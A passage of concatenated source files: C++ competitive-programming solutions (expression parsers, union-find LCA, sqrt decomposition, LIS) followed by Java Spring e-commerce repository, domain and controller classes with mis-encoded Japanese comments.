void parsing(Node* root, string str) {
if (is_num(str)) {
//cout << str << endl;
root->key = stoi(str);
root->isroot = false;
return;
}
string andor = str.substr(0, 1);
root->key = andor == "*" ? AND : OR;
//cout << "original str: " << str << endl;
str = str.substr(2, str.size()-3); // remove andor '(' ')'
//cout << "remove andor '(' ')': " << str << endl;
long sub = 0, comma = 0; // sub = #'(' - #')' ;comma = #1st_level_','
// if left subtree is AND0/OR1, no need to parse right subtree
// if right subtree is AND0/OR1, delete left subtree
// if one of the subtree is AND1/OR0, delete this and ...
auto cptr = str.begin();
for (; cptr != str.end() && comma == 0; ++cptr) {
if (*cptr == '(') sub++;
else if (*cptr == ')') sub--;
else if (*cptr == ',' && sub == 0) comma++;
}
//cout << "#comma: " << comma << endl;
if (comma == 0) {
root->isroot = true;
parsing(root, str);
return;
}
root->lc = new Node;
root->lc->isroot = true;
//cout << "left subtree: " << string(str.begin(), cptr-1) << endl;
parsing(root->lc, string(str.begin(), cptr-1));
if ((root->key == AND && root->lc->key == 0) || (root->key == OR && root->lc->key == 1)) {
root->key = root->lc->key;
root->isroot = false;
delete_node(root->lc);
return;
}
root->rc = new Node;
str = andor + "(" + string(cptr, str.end()) + ")";
root->rc->key = root->key;
root->rc->isroot = false;
parsing(root->rc, str);
if ((root->key == AND && root->rc->key == 0) || (root->key == OR && root->rc->key == 1)) {
root->key = root->rc->key;
root->isroot = false;
delete_node(root->lc);
delete_node(root->rc);
return;
}
if ((root->key == AND && root->lc->key == 1) || (root->key == OR && root->lc->key == 0)) {
root->key = root->rc->key;
delete_node(root->lc);
root->lc = root->rc->lc;
Node* tmp = root->rc->rc;
root->rc->lc = nullptr;
root->rc->rc = nullptr;
delete_node(root->rc);
root->rc = tmp;
}
else if ((root->key == AND && root->rc->key == 1) || (root->key == OR && root->rc->key == 0)) {
root->key = root->lc->key;
delete_node(root->rc);
root->rc = root->lc->rc;
Node* tmp = root->lc->lc;
root->lc->lc = nullptr;
root->rc->rc = nullptr;
delete_node(root->lc);
root->lc = tmp;
}
}
void print_ast() { printing(ast); }
void printing(Node* node) {
if (node->key >= 0) { cout << node->key; return; }
if (node->isroot) cout << (node->key == AND ? "*(" : "+(");
printing(node->lc);
cout << ',';
printing(node->rc);
if (node->isroot) cout << ')';
return;
}
void delete_node(Node*& stree) {
if (stree->lc) delete_node(stree->lc);
if (stree->rc) delete_node(stree->rc);
destroy<Node>(stree);
return;
}
bool is_num(string s) {
for (unsigned int i = 0; i < s.size(); ++i)
if (!isdigit(s[i])) return false;
return true;
}
};
int main() {
fstream file("1.in");
string s;
getline(INPUT, s);
Parser parser;
parser.simplify(s);
parser.print_ast();
return 0;
}
```
stonks.cpp
```#include <iostream>
#include <vector>
#include <map>
#include <utility>
#include <string>
#include <algorithm>
#include <chrono>
#include <fstream>
#define INPUT cin
using namespace std;
int main() {
fstream file("1.in");
long long num = 0;
INPUT >> num;
long long gain = 0;
multimap<long long, long long> profit;
for (long long c = 0, a = 0; num != 0; --num) {
INPUT >> c >> a;
if (c < a) { profit.insert({c, a}); gain += a - c; }
}
long long sum = profit.begin()->second, init = profit.begin()->first;
for (auto i = next(profit.begin(), 1); i != profit.end(); ++i) {
if (i->first > sum) init += i->first - sum;
sum += i->second - i->first;
}
/*for (auto const& p : profit) {
if (p.first > max) init += p.first - max;
if (p.second > max) max = p.second;
}*/
cout << init << " " << gain << endl;
return 0;
}```
generate_random_matrix.cpp
```#include <iostream>
#include <fstream>
#include <stdio.h>
#include <stdlib.h>
#include <time.h>
int main() {
std::ofstream file;
file.open("2.in");
srand(time(NULL));
int v = rand() % 101;
for (unsigned int i = 0; i < 11; ++i) {
for (unsigned int j = 0; j < 11; ++j) {
file << v;
if (j < 10)
file << " ";
v = rand() % 101;
}
file << std::endl;
}
return 0;
}```
ex02.h
```#include <iostream>
#include <vector>
#include <string>
#include <algorithm>
#include <chrono>
#include <fstream>
/* Measure runtime
auto start = chrono::high_resolution_clock::now();
auto stop = chrono::high_resolution_clock::now();
auto duration = chrono::duration_cast<chrono::microseconds>(stop-start);
cout << "Time taken: " << duration.count() << " microseconds" << endl;
*/```
template.cpp
```// compile (for debugging): g++ -Wall -Wextra -fsanitize=undefined,address -D_GLIBCXX_DEBUG -g <file>
// compile (as on judge): g++ -x c++ -Wall -O2 -static -pipe <file>
// Output file will be a.out in both cases
#include <bits/stdc++.h>
#include <iostream>
#include <vector>
#include <map>
#include <set>
#include <utility>
#include <string>
#include <algorithm>
#include <chrono>
#include <fstream>
#include <cmath>
using namespace std;
typedef long long ll;
#define debug(x) (cerr << #x << ": " << (x) << endl)
// change to cin
#define INPUT cin
fstream file("test.in");
// to comment
/*#include "../functions.hpp"
void generate_test() {
ofstream file("test.in");
}*/
void func() {}
int main() {
//generate_test();
auto start = chrono::high_resolution_clock::now();
func();
auto stop = chrono::high_resolution_clock::now();
auto duration = chrono::duration_cast<chrono::microseconds>(stop-start);
//cout << "Time taken: " << duration.count() << " microseconds" << endl;
return 0;
}
```
marriage.cpp
```// compile (for debugging): g++ -Wall -Wextra -fsanitize=undefined,address -D_GLIBCXX_DEBUG -g <file>
// compile (as on judge): g++ -x c++ -Wall -O2 -static -pipe <file>
// Output file will be a.out in both cases
#include <bits/stdc++.h>
#include <iostream>
#include <vector>
#include <map>
#include <set>
#include <utility>
#include <string>
#include <algorithm>
#include <chrono>
#include <fstream>
#include <cmath>
using namespace std;
typedef long long ll;
#define debug(x) (cerr << #x << ": " << (x) << endl)
// change to cin
#define INPUT cin
fstream file("test.in");
// to comment
/*#include "../functions.hpp"
void generate_test() {
ofstream file("test.in");
}*/
class UnionFind {
vector<ll> parent, rank;
public:
UnionFind(ll N) {
rank.assign(N, 0);
parent.resize(N);
for (ll i = 0; i < N; ++i) parent[i] = i;
}
ll findSet(ll i) {
if (parent[i] == i) return i;
else return parent[i] = findSet(parent[i]);
}
void unionSet(ll i, ll j) {
i = findSet(i), j = findSet(j);
if (i != j) {
if (rank[i] > rank[j]) parent[j] = i;
else {
parent[j] = i;
if (rank[i] == rank[j]) rank[j]++;
}
}
}
};
class Tree {
ll N; // number of nodes
vector<vector<ll>> adj;
vector<set<ll>> query;
vector<pair<ll, ll>> qry_id;
vector<ll> level, ancestor;
vector<bool> visited;
map<string, ll> id;
map<ll, string> names;
map<pair<ll, ll>, pair<ll, ll>> qry;
UnionFind UF;
public:
Tree(ll N) : UF(N) {
this->N = N;
adj.resize(N), query.resize(N), level.resize(N, -1), ancestor.resize(N);
for (ll i = 0; i < N; ++i) ancestor[i] = i;
visited.assign(N, false);
}
void addName(string name, ll i) {
id.insert({name, i});
names.insert({i, name});
}
void buildTree() {
string name;
for (ll i = 1; i < N; ++i) {
INPUT >> name;
adj[id[name]].emplace_back(i);
}
}
void addQuery(string name1, string name2) {
query[id[name1]].insert(id[name2]);
query[id[name2]].insert(id[name1]);
ll id1 = id[name1], id2 = id[name2];
if (id1 > id2) swap(id1, id2);
qry.insert({{id1, id2}, {-1, -1}}); // each query is unique
qry_id.emplace_back(id1, id2);
}
void print_names() {
for (auto i : names) cout << i.first << " " << i.second << endl;
}
void print_tree() {
for (ll i = 0; i < N; ++i) {
cout << i << " -> ";
for (auto v : adj[i]) cout << v << " ";
cout << endl;
}
}
void dfs(ll u) {
for (auto v : adj[u]) {
dfs(v);
UF.unionSet(u, v);
ancestor[UF.findSet(u)] = u;
}
visited[u] = true;
for (auto v : query[u]) {
if (visited[v]) {
ll id1 = u, id2 = v, lca = ancestor[UF.findSet(v)];
if (id1 > id2) swap(id1, id2);
qry[{id1, id2}].first = lca;
qry[{id1, id2}].second = level[id1] + level[id2] - 2 * level[lca];
}
}
}
void distance() {
queue<pair<ll ,ll>> q;
q.push({0, 0});
while (!q.empty()) {
auto fr = q.front();
q.pop();
level[fr.first] = fr.second;
for (auto n : adj[fr.first]) q.push({n, fr.second+1});
}
}
ll findLevel(ll r, ll k, ll level) {
if (r == k) return level;
if (adj[r].size() == 0) return -1;
ll res = -1;
for (auto child : adj[r]) {
res = findLevel(child, k, level+1);
if (res != -1) break;
}
return res;
}
void output() {
/*for (auto &q : qry) {
//if (level[q.first.first] == -1) level[q.first.first] = findLevel(0, q.first.first, 0);
//if (level[q.first.second] == -1) level[q.first.second] = findLevel(0, q.first.second, 0);
//if (level[q.second.first] == -1) level[q.first.second] = findLevel(0, q.second.first, 0);
//q.second.second = level[q.first.first] + level[q.first.second] - 2 * level[q.second.first];
q.second.second = findLevel(q.second.first, q.first.first, 0) + findLevel(q.second.first, q.first.second, 0);
}*/
for (auto q : qry_id)
cout << names[qry[q].first] << " " << qry[q].second << endl;
}
};
void func() {
ll n, q;
INPUT >> n >> q;
Tree tree(n);
string name, name_;
for (ll i = 0; i < n; ++i) {
INPUT >> name;
tree.addName(name, i);
}
tree.buildTree();
for (ll i = 0; i < q; ++i) {
INPUT >> name >> name_;
tree.addQuery(name, name_);
}
//tree.print_names();
//tree.print_tree();
tree.distance();
tree.dfs(0);
tree.output();
}
int main() {
//generate_test();
auto start = chrono::high_resolution_clock::now();
func();
auto stop = chrono::high_resolution_clock::now();
auto duration = chrono::duration_cast<chrono::microseconds>(stop-start);
//cout << "Time taken: " << duration.count() << " microseconds" << endl;
return 0;
}
/*
6 4
Gertrude Annegret Elisabeth Lea Jule Dieter
Gertrude Gertrude Elisabeth Annegret Annegret
Dieter Jule
Dieter Annegret
Dieter Lea
Jule Gertrude
*/```
microbes.cpp
```#include <iostream>
#include <vector>
#include <map>
#include <utility>
#include <string>
#include <algorithm>
#include <chrono>
#include <fstream>
#include <cmath>
#include <numeric>
#define INPUT cin
using namespace std;
int main() {
fstream file("3.in");
long long n, q;
INPUT >> n >> q;
long long size = ceil(sqrt(n));
vector<long long> ori, comp;
for (long long i = 0, odd = 0, tmp = 0; i < n; ++i) {
INPUT >> tmp;
tmp = tmp % 2;
if (tmp) ++odd;
ori.push_back(tmp);
if ((i+1)%size == 0 || i+1 == n) {
comp.push_back(odd);
odd = 0;
}
}
for (long long i = 0, a = 0, b = 0; i < q; ++i) {
char qry;
INPUT >> qry >> a >> b;
if (qry == 'U') {
// ori[a] --> b
b = b%2 ? 1 : 0;
if (ori[a-1] != b) {
comp[(a-1)/size] += b - ori[a-1];
ori[a-1] = b;
}
}
else {
long long res = 0;
--a; --b;
long long l = (a/size+1)*size-1, u = b/size * size;
if (l > u) for (long long j = a; j != b+1; ++j) res += ori[j];
else {
for (long long j = a; j <= l; ++j) res += ori[j];
for (long long j = (l+1)/size; j < u/size; ++j) res += comp[j];
for (long long j = u; j <= b; ++j) res += ori[j];
}
cout << res << endl;
}
}
}```
lineup.cpp
```#include <iostream>
#include <iomanip>
#include <string>
#include <vector>
#include <fstream>
#include <chrono>
#include <algorithm>
#define GETLINEFROM std::cin
//long long max_strength = 0;
//void dfs(int, unsigned long, std::vector<int>);
//void method1(int, unsigned long, std::vector<int>);
int main() {
std::ifstream file("1.in");
std::vector<std::vector<long>> matrix;
// the way to split string with delimiter
std::string s, delimiter = " ", num_in_char;
size_t pos = 0;
while (std::getline(GETLINEFROM, s)) {
std::vector<long> line;
while ((pos = s.find(delimiter)) != std::string::npos) {
num_in_char = s.substr(0, pos);
line.push_back(std::stoi(num_in_char));
s.erase(0, pos + delimiter.length());
}
num_in_char = s;
line.push_back(std::stoi(num_in_char));
matrix.push_back(line);
}
/*
for (unsigned int i = 0; i < matrix.size(); ++i) {
for (unsigned int j = 0; j < matrix[i].size(); ++j) {
std::cout << std::setw(3) << std::right;
std::cout << matrix[i][j] << std::setw(3);
}
std::cout << std::endl;
}
*/
//
// dfs; prune when zero be choosed
/*
std::vector<int> usable, lines;
for (unsigned i = 0; i < 11; ++i) {
usable.push_back(i);
lines.push_back(i);
}
*/
auto start = std::chrono::high_resolution_clock::now();
/*
for (unsigned int i = 0; i < 11; ++i) {
for (unsigned int j = 0; j < 11; ++j) {
std::vector<int> usable_next(usable);
usable_next.erase(usable_next.begin() + j);
dfs((i+1) % 11, matrix[lines[i]][j], usable_next);
}
}
*/
long long max_res = 0;
std::vector<long> v;
for (unsigned int i = 0; i < 11; ++i) v.push_back(i);
do {
long long sum = 0;
unsigned int i;
for (i = 0; i < 11; ++i) sum += matrix[i][v[i]];
if (sum > max_res) max_res = sum;
} while (std::next_permutation(v.begin(), v.end()));
//method1(0, 0, usable);
auto stop = std::chrono::high_resolution_clock::now();
auto duration = std::chrono::duration_cast<std::chrono::microseconds>(stop-start);
std::cout << max_res << std::endl;// << std::endl;
//std::cout << "\nTime taken: " << duration.count() << " microseconds" << std::endl;
//method1(0,0,usable);
//std::cout << max_strength << std::endl;
return 0;
}
/*
void dfs(int l, unsigned long cur_strength, std::vector<int> usable) {
if (usable.size() == 1) {
std::cout << cur_strength + matrix[l][usable[0]] << std::endl;
max_strength = \
matrix[l][usable[0]] && cur_strength + matrix[l][usable[0]] > max_strength?\
cur_strength + matrix[l][usable[0]] : max_strength;
return;
}
else {
// find max in available
int max = 0;
std::vector<int> max_pos;
for (unsigned int i = 0; i < usable.size(); ++i)
if (matrix[l][usable[i]] > max) max = matrix[l][usable[i]];
for (unsigned int i = 0; i < usable.size(); ++i)
if (matrix[l][usable[i]] == max) max_pos.push_back(i);
for (unsigned int i = 0; i < max_pos.size(); ++i) {
if (matrix[l][usable[max_pos[i]]]) {
std::vector<int> usable_next(usable);
usable_next.erase(usable_next.begin() + max_pos[i]);
dfs((i+1) % 11, cur_strength+matrix[l][usable[max_pos[i]]], usable_next);
}
else return;
}
}
}
void method1(int i, unsigned long cur_strength, std::vector<int> usable) {
if (usable.size() == 1) {
//std::cout << cur_strength + matrix[i][usable[0]] << std::endl;
max_strength = \
matrix[i][usable[0]] && cur_strength + matrix[i][usable[0]] > max_strength?\
cur_strength + matrix[i][usable[0]] : max_strength;
//std::cout << max_strength << std::endl;
return;
}
else {
//for (unsigned int j = 0; j < usable.size(); ++j) std::cout << usable[j] << " ";
//std::cout << std::endl;
for (unsigned int j = 0; j < usable.size(); ++j) {
if (matrix[i][usable[j]]) {
std::vector<int> usable_next(usable);
usable_next.erase(usable_next.begin() + j);
method1(i+1, cur_strength+matrix[i][usable[j]], usable_next);
}
else return;
}
}
}
*/```
sumup.cpp
```#include <iostream>
#include <string>
#include <vector>
#include <tuple>
#include <cstring>
#include <fstream>
#include <numeric>
#define INPUT cin
using namespace std;
long long parser(string);
bool is_num(string);
int main() {
// write a parser
ifstream file("1.in");
long long to_sumup = 0;
string s;
while (getline(INPUT, s)) to_sumup += parser(s);
//cout << "Result: ";
cout << to_sumup << endl;
return 0;
}
/* to parse to given tree and return its value */
long long parser(string tree) {
if (is_num(tree)) {
return (long long)stoi(tree);
}
vector<long long> subtree;
long lpn = 0, rpn = 0; // num of left/right parenthesis
string stree("");
for (unsigned int i = 1; i < tree.size(); ++i) {
if (tree[i] == '(') {
lpn++;
if (lpn-rpn != 1) stree += '(';
}
else if (tree[i] == ')') {
rpn++;
if (lpn-rpn <= 1) {
stree = lpn-rpn == 0? stree: stree + ')';
if (lpn-rpn == 0 && stree.empty()) break;
long long stree_res = parser(stree);
subtree.push_back(stree_res);
stree.erase();
}
else stree += ')';
}
else if (tree[i] == ',' && (lpn-rpn == 1)) {
if (stree.empty()) continue; // important!!! if having multiple subtree
long long stree_res = parser(stree);
subtree.push_back(stree_res);
stree.erase();
}
else stree += tree[i];
}
long long res;
if (tree[0] == '*') {
res = 1;
for (auto it = subtree.begin(); it != subtree.end(); ++it) res *= *it;
}
else {
res = 0;
res = accumulate(subtree.begin(), subtree.end(), (long long)0);
}
return res;
}
bool is_num(string s) {
for (unsigned int i = 0; i < s.size(); ++i)
if (!isdigit(s[i])) return false;
return true;
}```
multiset.cpp
```#include <iostream>
#include <string>
#include <vector>
#include <algorithm>
#include <tuple>
#include <cstring>
#include <fstream>
#include <numeric>
#include <chrono>
#define INPUT cin
using namespace std;
long long parser(string);
bool is_num(string);
int main() {
// write a parser
ifstream file("sample-multiset.2.in");
string s;
vector<string> tree;
bool equal = true;
auto start = chrono::high_resolution_clock::now();
while (getline(INPUT, s) && s != "0") {
tree.push_back(s);
}
while (getline(INPUT, s)) {
if (tree.size() == 0) equal = false;
else {
auto it = find(tree.begin(), tree.end(), s);
if (it != tree.end())
tree.erase(tree.begin() + distance(tree.begin(), it));
else {
equal = false;
break;
}
}
}
cout << (equal && tree.size() == 0 ? "Equal" : "UnEqual") << endl;
auto stop = chrono::high_resolution_clock::now();
auto duration = chrono::duration_cast<chrono::microseconds>(stop-start);
//cout << "Time taken: " << duration.count() << " microseconds" << endl;
return 0;
}
/* to parse to given tree and return its value */
long long parser(string tree) {
if (is_num(tree)) {
return (long long)stoi(tree);
}
vector<long long> subtree;
long lpn = 0, rpn = 0; // num of left/right parenthesis
string stree("");
for (unsigned int i = 1; i < tree.size(); ++i) {
if (tree[i] == '(') {
lpn++;
if (lpn-rpn != 1) stree += '(';
}
else if (tree[i] == ')') {
rpn++;
if (lpn-rpn <= 1) {
stree = lpn-rpn == 0? stree: stree + ')';
if (lpn-rpn == 0 && stree.empty()) break;
long long stree_res = parser(stree);
subtree.push_back(stree_res);
stree.erase();
}
else stree += ')';
}
else if (tree[i] == ',' && (lpn-rpn == 1)) {
if (stree.empty()) continue;
long long stree_res = parser(stree);
subtree.push_back(stree_res);
stree.erase();
}
else stree += tree[i];
}
long long res;
if (tree[0] == '*') {
res = 1;
for (auto it = subtree.begin(); it != subtree.end(); ++it) res *= *it;
}
else {
res = 0;
res = accumulate(subtree.begin(), subtree.end(), (long long)0);
}
return res;
}
bool is_num(string s) {
for (unsigned int i = 0; i < s.size(); ++i)
if (!isdigit(s[i])) return false;
return true;
}```
theanswer2.cpp
```#include <iostream>
#include <vector>
#include <map>
#include <utility>
#include <string>
#include <algorithm>
#include <chrono>
#include <fstream>
//#include "functions.hpp"
#define INPUT cin
using namespace std;
int main() {
fstream file("2.in");
long long num, x;
vector<long long> s1, s2;
INPUT >> num >> x;
for (long long i = 0; i < num/2; ++i) {
long long tmp;
INPUT >> tmp;
s1.push_back(tmp);
}
for (long long i = num/2; i < num; ++i) {
long long tmp;
INPUT >> tmp;
s2.push_back(tmp);
}
if (num % 2) s1.push_back(1e+14); // get the same size
// print_vector(s1); print_vector(s2);
vector<int> sub;
vector<long long> sum1, sum2;
sum1.push_back(0); sum2.push_back(0);
for (long long i = 0; i < s1.size(); ++i) sub.push_back(0);
for (long long i = 0; i < sub.size(); ++i) {
sub[sub.size()-1-i] = 1;
do {
long long tmp1 = 0, tmp2 = 0;
for (long long k = 0; k < sub.size(); ++k) {
tmp1 += sub[k] * s1[k];
tmp2 += sub[k] * s2[k];
}
sum1.push_back(tmp1);
sum2.push_back(tmp2);
} while (next_permutation(sub.begin(), sub.end()));
}
sort(sum1.begin(), sum1.end()); sort(sum2.begin(), sum2.end());
//print_vector(sum1); print_vector(sum2);
long long res = 0, size = (num%2 == 0 ? sum1.size() : sum1.size()/2);
for (long long i = 0; i < size; ++i) {
// find (x - sum1[i]) in sum2
// res += count(sum2.begin(), sum2.end(), x-sum1[i]);
if (binary_search(sum2.begin(), sum2.end(), x-sum1[i])) {
res += upper_bound(sum2.begin(), sum2.end(), x-sum1[i]) - lower_bound(sum2.begin(), sum2.end(), x-sum1[i]);
}
}
cout << res << endl;
}```
simplify.cpp
```#include <iostream>
#include <string>
#include <vector>
#include <tuple>
#include <cstring>
#include <fstream>
#include <numeric>
#include <chrono>
#define INPUT file_read
#define OUTPUT file_write
#define OR "+"
#define AND "*"
using namespace std;
string simplify_(string&);
bool is_num(string);
int main() {
ifstream file_read("3.in");
ofstream file_write("3.out");
string s("");
getline(INPUT, s);
auto start = chrono::high_resolution_clock::now();
OUTPUT << simplify_(s) << endl;
auto stop = chrono::high_resolution_clock::now();
auto duration = chrono::duration_cast<chrono::microseconds>(stop-start);
cout << "Time taken: " << duration.count() << " microseconds" << endl;
return 0;
}
/* return string removed first level of 1 and 0*/
string simplify_(string& str) {
//cout << "cur_tree:" << tree << endl;
if (is_num(str)) { return str; }
string andor = str.substr(0, 1);
str = str.substr(2, str.size()-3) + ","; // remove andor '(' ')'
//cout << "remove andor '(' ')': " << str << endl;
long sub = 0, num = 0; // sub = #( - #);
vector<string> strees;
auto idx = str.begin();
string res("");
for (auto c = str.begin(); c != str.end(); ++c) {
if (*c == '(') ++sub;
else if (*c == ')') --sub;
else if (*c == ',' && sub == 0) {
string s = string(idx, c);
s = simplify_(s);
//cout << "subtree: " << s << endl;
if (c+1 != str.end()) idx = c + 1;
if ((andor == AND && s == "0") || (andor == OR && s == "1")) return s;
if (!(andor == AND && s == "1") && !(andor == OR && s == "0")) { res += s + ","; ++num; }
}
}
if (res.size() == 0) return andor == OR ? "0" : "1";
res.pop_back();
if (num >= 2) return andor + "(" + res + ")";
else return res;
}
bool is_num(string s) {
for (unsigned int i = 0; i < s.size(); ++i)
if (!isdigit(s[i])) return false;
return true;
}
```
knights.cpp
```#include <iostream>
#include <vector>
#include <map>
#include <utility>
#include <string>
#include <algorithm>
#include <chrono>
#include <fstream>
#include <cmath>
#define INPUT cin
// remember to comment
//#include "functions.hpp"
using namespace std;
template <class T>
void print_vector(const std::vector<T>& v) {
for (T e : v) {
std::cout << e << " ";
}
std::cout << std::endl;
}
int main() {
fstream file("4.in");
long long n;
INPUT >> n;
vector<long long> ln, col; // index of existing 0
multimap<long long, pair<long long, long long>> shrln, shrcol;
// order by the rightmost element;
for (long long i = 0; i < n; ++i) {
long long a, b, c, d;
INPUT >> a >> b >> c >> d;
shrln.emplace(c, make_pair(a, i));
shrcol.emplace(d, make_pair(b, i));
ln.emplace_back(i+1);
col.emplace_back(i+1);
}
map<long long, long long> line, column;
auto l = shrln.begin();
auto c = shrcol.begin();
for (; l != shrln.end() && c != shrcol.end(); ++l, ++c) {
long long idxl = lower_bound(ln.begin(), ln.end(), l->second.first) - ln.begin();
long long idxc = lower_bound(col.begin(), col.end(), c->second.first) - col.begin();
if ((idxl < n && ln[idxl] <= l->first) && (idxc < n && col[idxc] <= c->first)) {
line.insert(l->second.second, ln[idxl]);
ln.erase(ln.begin()+idxl);
column.insert(c->second.second, col[idxc]);
col.erase(col.begin()+idxc);
}
else { cout << "NI\n"; return 0; }
}
for (long long i = 0; i < n; ++i)
cout << line[i] << " " << column[i] << endl;
return 0;
}
```
warming1.cpp
```// compile (for debugging): g++ -Wall -Wextra -fsanitize=undefined,address -D_GLIBCXX_DEBUG -g <file>
// compile (as on judge): g++ -x c++ -Wall -O2 -static -pipe <file>
// Output file will be a.out in both cases
#include <bits/stdc++.h>
#include <iostream>
#include <vector>
#include <map>
#include <utility>
#include <string>
#include <algorithm>
#include <chrono>
#include <fstream>
#include <cmath>
using namespace std;
typedef long long ll;
#define debug(x) (cerr << #x << ": " << (x) << endl)
// change to cin
#define INPUT cin
fstream file("test.in");
// comment
/*#include "../functions.hpp"
void generate_test() {
ofstream file("test.in");
ll n, x;
n = random<ll>(1, 2E+5);
x = random<ll>(0, 1E+9);
file << n << " " << x << endl;
for (ll i = 0; i < n; ++i) file << random<ll>(1, 1E+9) << " ";
}*/
void LIS() {
ll n, x; // n~[1, 2E+5], x~[0, 1E+9], t~[1, 1E+9]
INPUT >> n >> x;
vector<ll> tail(n, 0);
ll fst, lgth = 1; INPUT >> fst; tail[0] = fst;
for (ll i = 1, tmp; i < n; ++i) {
INPUT >> tmp;
auto it = lower_bound(tail.begin(), tail.begin()+lgth, tmp);
if (it == tail.begin() + lgth) tail[lgth++] = tmp;
else *it = tmp;
}
cout << lgth << endl;
}
int main() {
//generate_test();
auto start = chrono::high_resolution_clock::now();
LIS();
auto stop = chrono::high_resolution_clock::now();
auto duration = chrono::duration_cast<chrono::microseconds>(stop-start);
//cout << "Time taken: " << duration.count() << " microseconds" << endl;
return 0;
}
```
functions.hpp
```#include <random>
template <class T>
void print_vector(const std::vector<T>& v) {
for (T e : v) std::cout << e << " ";
std::cout << std::endl;
}
template <class T>
T random(T i, T r) {
std::random_device seeder;
std::mt19937 rng(seeder());
std::uniform_real_distribution<> gen(i, r);
T x = gen(rng);
return x;
}
```
|
yuuuuuyaaaaa01/teamb
|
yuuuuuyaaaaa01/teamb
OrderRepository.java
```package jp.co.rakus.ecommerce_b.repository;
import javax.annotation.PostConstruct;
import org.springframework.beans.factory.annotation.Autowired;
import org.springframework.jdbc.core.JdbcTemplate;
import org.springframework.jdbc.core.RowMapper;
import org.springframework.jdbc.core.namedparam.BeanPropertySqlParameterSource;
import org.springframework.jdbc.core.namedparam.NamedParameterJdbcTemplate;
import org.springframework.jdbc.core.namedparam.SqlParameterSource;
import org.springframework.jdbc.core.simple.SimpleJdbcInsert;
import org.springframework.stereotype.Repository;
import jp.co.rakus.ecommerce_b.domain.Order;
@Repository
public class OrderRepository {
@Autowired
private NamedParameterJdbcTemplate template;
private SimpleJdbcInsert insert;
private static final RowMapper<Order> ORDER_ROW_MAPPER = (rs, i) -> {
Order order = new Order();
order.setId(Integer.parseInt(rs.getString("id")));
order.setUserId(Integer.parseInt(rs.getString("user_id")));
order.setTotalPrice(Integer.parseInt(rs.getString("total_price ")));
order.setOrderDate(rs.getDate("order_date "));
order.setDestinationName(rs.getString("destination_name "));
order.setDestinationEmail(rs.getString("destination_email "));
order.setDestinationZipcode(rs.getString("destination_zipcode "));
order.setDestinationAddress(rs.getString("destination_address"));
order.setDestinationTel(rs.getString("destination_tel"));
order.setDeliverlyTime(rs.getTimestamp("delivery_time"));// timestapๅ
order.setPaymentMethod(Integer.parseInt("payment_method "));
return order;
};
@PostConstruct
public void init() {
SimpleJdbcInsert simpleJdbcInsert = new SimpleJdbcInsert((JdbcTemplate) template.getJdbcOperations());
SimpleJdbcInsert withTableName = simpleJdbcInsert.withTableName("orders");
insert = withTableName.usingGeneratedKeyColumns("id");
}
public Order save(Order order) {
SqlParameterSource param = new BeanPropertySqlParameterSource(order);
if (order.getId() == null) {
Number key = insert.executeAndReturnKey(param);
order.setId(key.intValue());
} else {
String upDateSql = "UPDATE orders SET user_id=:userId ,status=:status,total_price=:totalPrice,order_date=:orderDate,destination_name=:destinationName,"
+ "destination_email=:destinationEmail,destination_zipcode=:destinationZipcode,destination_address=:destinationAddress,destination_tel=:destinationTel,"
+ "delivery_time=:deliverlyTime,payment_method=:paymentMethod where id=:id";
template.update(upDateSql, param);
}
return order;
}
}
```
ItemRepository.java
```package jp.co.rakus.ecommerce_b.repository;
import java.util.List;
import org.springframework.beans.factory.annotation.Autowired;
import org.springframework.jdbc.core.RowMapper;
import org.springframework.jdbc.core.namedparam.NamedParameterJdbcTemplate;
import org.springframework.stereotype.Repository;
import jp.co.rakus.ecommerce_b.domain.Item;
@Repository
public class ItemRepository {
private static final RowMapper<Item> itemRowMapper = (rs,i) -> {
Item item = new Item();
item.setId(rs.getInt("id"));
item.setName(rs.getString("name"));
item.setDescription(rs.getString("description"));
item.setPriceM(rs.getInt("price_m"));
item.setPriceL(rs.getInt("price_l"));
item.setImagePath(rs.getString("image_path"));
item.setDeleted(rs.getBoolean("deleted"));
return item;
};
@Autowired
private NamedParameterJdbcTemplate template;
/**
* ๅๅไธ่ฆงใๅๅพใใ.
*
* @return itemList
*/
public List<Item> findAll() {
String sql = "SELECT id,name,description,price_m,price_l,image_path,deleted FROM items;";
List<Item> itemList = template.query(sql, itemRowMapper);
return itemList;
}
}
```
OrderItem.java
```package jp.co.rakus.ecommerce_b.domain;
import java.util.List;
/**
* ๆณจๆๅๅใ่กจใใใกใคใณ.
*
* @author maiko
*
*/
public class OrderItem {
/** id */
private int id;
/** ๅๅid */
private int itemId;
/** ๆณจๆid */
private int orderId;
/** ๆฐ้ */
private int quantity;
/** ใตใคใบ */
private Character size;
/** ๅๅ */
private Item item;
/** ๆณจๆใใใใณใฐใชในใ. */
private List<Topping> orderToppingList;
public int getId() {
return id;
}
public void setId(int id) {
this.id = id;
}
public int getItemId() {
return itemId;
}
public void setItemId(int itemId) {
this.itemId = itemId;
}
public int getOrderId() {
return orderId;
}
public void setOrderId(int orderId) {
this.orderId = orderId;
}
public int getQuantity() {
return quantity;
}
public void setQuantity(int quantity) {
this.quantity = quantity;
}
public Character getSize() {
return size;
}
public void setSize(Character size) {
this.size = size;
}
public Item getItem() {
return item;
}
public void setItem(Item item) {
this.item = item;
}
public List<Topping> getOrderToppingList() {
return orderToppingList;
}
public void setOrderToppingList(List<Topping> orderToppingList) {
this.orderToppingList = orderToppingList;
}
}
```
LoginController.java
```package jp.co.rakus.ecommerce_b.controller;
import org.springframework.beans.factory.annotation.Autowired;
import org.springframework.stereotype.Controller;
import org.springframework.transaction.annotation.Transactional;
import org.springframework.ui.Model;
import org.springframework.validation.BindingResult;
import org.springframework.validation.ObjectError;
import org.springframework.validation.annotation.Validated;
import org.springframework.web.bind.annotation.ModelAttribute;
import org.springframework.web.bind.annotation.RequestMapping;
import jp.co.rakus.ecommerce_b.domain.User;
import jp.co.rakus.ecommerce_b.form.LoginForm;
import jp.co.rakus.ecommerce_b.service.LoginService;
/**
* ใญใฐใคใณๅฆ็ใใใใณใณใใญใผใฉใผ
*
* @author kento
*
*/
@Controller
@Transactional
@RequestMapping("/")
public class LoginController {
@Autowired
private LoginService userService;
//โปใญใฐใคใณใใฃใซใฟใผใๆฉ่ฝใใใใใใใชใใชใไบๅฎ๏ผ๏ผ
/**
* ใใฉใผใ ใๅๆๅใใพใ.
* @return ใใฉใผใ
*/
@ModelAttribute
public LoginForm setUpForm() {
return new LoginForm();
}
/**
* ใญใฐใคใณ็ป้ขใ่กจ็คบใใพใ.
* @return ใญใฐใคใณ็ป้ข
*/
@RequestMapping("/")
public String index(Model model/*LoginForm form, BindingResult result, @RequestParam(required = false) String error*/) {
/*System.err.println("login error:" + error);
